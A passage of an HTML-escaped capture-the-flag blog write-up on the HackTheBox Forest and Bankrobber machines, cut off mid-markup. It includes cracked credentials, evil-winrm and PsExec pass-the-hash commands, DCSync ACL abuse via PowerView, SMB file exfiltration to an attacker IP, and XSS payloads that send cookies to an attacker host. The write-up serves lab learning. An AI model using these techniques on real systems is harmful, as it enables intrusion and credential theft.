/usr/share/wordlists/rockyou.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0100.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;svc-alfresco:s3rvice&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;That step was done, but I had no idea how to get a shell from there. In my previous exploits, I could basically only get in as administrator or after privilege escalation.&lt;/p&gt;&#10;&lt;p&gt;So I tried the options one by one, based on what I&amp;rsquo;d learned before.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0101.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The output suggested it might work.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0102.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;But it froze when I left the result empty.&lt;/p&gt;&#10;&lt;p&gt;This is where I learned a new trick.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0103.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Let&amp;rsquo;s try them one by one.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;crackmapexec winrm 10.10.10.161 -u svc-alfresco -p s3rvice&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0104.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It connected successfully.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;evil-winrm -i 10.10.10.161 -u svc-alfresco -p s3rvice&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0105.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I got in. It was a little laggy, so I did some information gathering.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0106.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Nothing I found seemed particularly important. I&amp;rsquo;d already gathered a lot from outside the domain.&lt;/p&gt;&#10;&lt;p&gt;From a write-up, I learned that I needed to use Bloodhound to look for an exploitable path. I&amp;rsquo;d already installed it while learning domain penetration testing. If you need to install it, there are plenty of guides online.&lt;/p&gt;&#10;&lt;p&gt;Before using it, I started it up directly.&lt;/p&gt;&#10;&lt;p&gt;I found a Windows information-gathering tool similar to LinEnum.sh on Linux.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/peass-ng/PEASS-ng/releases/tag/20241101-6f46e855" target="_blank" rel="noopener"&#10; &gt;https://github.com/peass-ng/PEASS-ng/releases/tag/20241101-6f46e855&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;I uploaded it, but it didn&amp;rsquo;t turn up anything.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0107.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Next, I started using bloodhound.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/BloodHoundAD/BloodHound/blob/master/Collectors/" target="_blank" rel="noopener"&#10; &gt;https://github.com/BloodHoundAD/BloodHound/blob/master/Collectors/&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;There are powershell and exe versions. I chose the exe version and uploaded it.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0108.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0109.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I used certutil to transfer files into windows. For transferring files back out, I learned a new method here.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python D:\python3.9\Scripts\smbserver.py win10 . -smb2support&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;copy .\20241124052634_BloodHound.zip \\10.10.16.6\win10\smbserver&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0110.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0111.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Drag the file into the program and it will load automatically.&lt;/p&gt;&#10;&lt;p&gt;Search for SVC-ALFRESCO in the upper-left corner, and a pop-up will appear.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0112.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Open it and mark this user as owned.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0113.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Go back to the upper-left corner of the screen, and under the query tab select Analysis &amp;ndash;&amp;gt;shortest path from Owned Principals.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0114.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The query returned this. All I could make out was that our current user belonged to these three groups, so I searched them on google.&lt;/p&gt;&#10;&lt;p&gt;service account group&lt;/p&gt;&#10;&lt;p&gt;privileged account group&lt;/p&gt;&#10;&lt;p&gt;And then this:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0115.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There were also several blog posts below explaining how to exploit it.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0116.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;That was when I realized I&amp;rsquo;d missed part of my studies. I&amp;rsquo;d finished constrained and unconstrained delegation, but hadn&amp;rsquo;t covered resource-based constrained delegation. This box was perfect for filling that gap, so I followed the tutorial, using &lt;a class="link" href="https://cloud.tencent.com/developer/article/1937695" target="_blank" rel="noopener"&#10; &gt;https://cloud.tencent.com/developer/article/1937695&lt;/a&gt; as a reference.&lt;/p&gt;&#10;&lt;p&gt;There is an exchange server in the domain. Here, choose:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0117.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;net group &amp;#34;Exchange Trusted Subsystem&amp;#34; svc-alfresco /add /domain&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Import-Module .\PowerView.ps1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Add-DomainObjectAcl -TargetIdentity &amp;#39;DC=htb,DC=local&amp;#39; -PrincipalIde svc-alfresco -Rights DCSync -Verbose&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0118.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The method from that blog still failed. It added the current user to the Exchange Trusted Subsystem group.&lt;/p&gt;&#10;&lt;p&gt;Then it granted that user DCSync privileges. The author also mentioned that you have to log in again for the ACL to reload, but I didn&amp;rsquo;t know how to make it reload, so I got stuck. Since the point of this box was learning, I went back to check the write-up again.&lt;/p&gt;&#10;&lt;p&gt;This time I understood the logic clearly.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;1. Create a domain account # We currently have this permission&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;net user testuser1 password /add /domain&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;2. Add it to the Exchange Trusted Subsystem group; this also works&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;net group &amp;#34;Exchange Trusted Subsystem&amp;#34; testuser1 /add /domain&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;3. The key step is granting it DCSync rights through the ACL&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$pass = convertto-securestring &amp;#39;password&amp;#39; -AsPlainText -Force&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$cred = New-Object System.Management.Automation.PSCredential(&amp;#39;htb\testuser1&amp;#39;, $pass)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Add-DomainObjectAcl -Credential $cred -TargetIdentity &amp;#34;DC=htb,DC=local&amp;#34; -PrincipalIdentity testuser1 -Rights DCSync&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Here, testuser1 grants itself DCSync rights. My earlier attempt may have failed because I granted rights to the service account itself&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Windows may not allow this, or I may need to sign out and back in, although I used WinRM extensively&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;I did not see this step in many blog posts; it is essentially&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Add-DomainObjectAcl -TargetIdentity &amp;#39;DC=htb,DC=local&amp;#39; -PrincipalIde svc-alfresco -Rights DCSync&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;I also tried using svc-alfresco to grant testuser1 rights with Add-DomainObjectAcl, but it failed immediately&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;As shown below, it didn&amp;rsquo;t work.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0119.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;After thinking about it, the main reason was that we only had permission to create users, not to grant privileges. Creating a normal domain account was fine. Once we added it to the Exchange Trusted Subsystem group, it could grant privileges to itself. That made perfect sense. I also asked claude to verify my theory.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0120.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;As shown below:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0121.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Then just use PTH.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PsExec.exe administrator@10.10.10.161 -hashes aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0122.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Done!&lt;/p&gt;&#10;&lt;p&gt;Just as I said when I first started this box, it was mostly for learning. While filling in the gaps in my domain penetration testing knowledge, I&amp;rsquo;d mostly built local environments. I&amp;rsquo;d learned so much that things were getting a little jumbled. I hadn&amp;rsquo;t encountered the resource-based constrained delegation used later in this box. I basically understood the earlier parts, but my knowledge was broad rather than deep. This box helped reinforce some of what I&amp;rsquo;d learned. All I can say is: I still need a lot more practice.&lt;/p&gt;&#10;&lt;h2 id="8bankrobber"&gt;&lt;a href="#8bankrobber" class="header-anchor"&gt;&lt;/a&gt;8.Bankrobber&#10;&lt;/h2&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0123.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I&amp;rsquo;m already getting a bad feeling about this.&lt;/p&gt;&#10;&lt;p&gt;Recon:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0124.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0125.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;SMB doesn&amp;rsquo;t allow anonymous access.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0126.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Fingerprinting:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0127.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;A cryptocurrency trading platform.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0128.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Looks like I&amp;rsquo;ve found the framework.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0129.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Found this:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0130.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0131.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There may be a broken access control issue here.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0132.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Just as it says, this can only be accessed locally. Based on the information above, he also moved the stuff in xmapp to TODO.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0133.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0134.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;That&amp;rsquo;s basically it for recon. Time to start attacking the box.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0135.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The id at the user endpoint is definitely problematic—there is a broken access control issue. But it only exposes information and things like that, so it doesn&amp;rsquo;t seem particularly useful. Also, the credentials work exactly as described above: your username, password, and id are placed in the cookie.&lt;/p&gt;&#10;&lt;p&gt;/admin looks like the admin interface, but even when I brute-forced it, it kept saying I didn&amp;rsquo;t have enough privileges.&lt;/p&gt;&#10;&lt;p&gt;At /phpmyadmin, we already know it only permits localhost. I tried configuring xff and similar headers, but still couldn&amp;rsquo;t bypass it.&lt;/p&gt;&#10;&lt;p&gt;There doesn&amp;rsquo;t seem to be anything else to exploit, but one thing worth mentioning is that httponly is empty, so an XSS could steal the cookie.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0136.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0137.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;After submitting a request here, it says an administrator will review it within a minute. This feels very likely to have an XSS.&lt;/p&gt;&#10;&lt;p&gt;Mainly because it returns no response body. Also, the ID above is worth testing for SQL injection, but let&amp;rsquo;s take things one at a time.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;lt;script&amp;gt;location.href=&amp;#34;http://10.10.16.29:33333/cookie.php?cookie=&amp;#34;+document.cookie&amp;lt;/script&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ncat -lvnp 33333&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0138.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Unfortunately, nothing came back.&lt;/p&gt;&#10;&lt;p&gt;I tried SQL injection, but it looks like none of these parameters touch the database, since the request is supposed to be reviewed by an administrator.&lt;/p&gt;&#10;&lt;p&gt;I tried several more XSS payloads:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;lt;script src=&amp;#34;http://10.10.16.29:33333/1.js&amp;#34;&amp;gt;&amp;lt;/script&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;lt;script&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;document.write(&amp;#39;&amp;lt;img src=&amp;#34;http://10.10.16.29:33333/2.js&amp;#34;&amp;gt;&amp;#39;);&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;lt;/script&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;lt;img src=&amp;#34;http://10.10.16.29:33333/3.js&amp;#34;&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;lt;script src=&amp;#34;http://10.10.16.29:33333/4.js&amp;#34;&amp;gt;&amp;lt;/script&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;None of them worked. The hint made it sound like this was the right approach, though. I went through a lot of other things afterward: nearly every directory found through brute-forcing returned a 403 for insufficient privileges, 3306 also required local access, and SMB had no anonymous login. I was completely stuck at this point.&lt;/p&gt;&#10;&lt;p&gt;One more possibility was that the HTTPS and HTTP sites might contain slightly different things, so I checked that next.&lt;/p&gt;&#10;&lt;p&gt;Unfortunately, they were basically identical apart from SSL.&lt;/p&gt;&#10;&lt;p&gt;I was completely stuck here, so I glanced at a writeup and finally saw what was wrong.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0139.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I hadn&amp;rsquo;t paid close attention to the parameters here.&lt;/p&gt;&#10;&lt;p&gt;First, the amount has to be less than the 900 I currently have. It can&amp;rsquo;t be greater than 900.&lt;/p&gt;&#10;&lt;p&gt;Second, the specified ID: 1 definitely exists, but whether any of the others exist has to be determined by brute-forcing the id parameter in the cookie. Using 1 here is definitely fine.&lt;/p&gt;&#10;&lt;p&gt;The third parameter is the actual XSS.&lt;/p&gt;&#10;&lt;p&gt;You can also remove the number restriction on the second parameter from the frontend, and using an email address works too. All four payloads above work perfectly fine.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0140.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0141.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I found a working payload online.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0142.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span 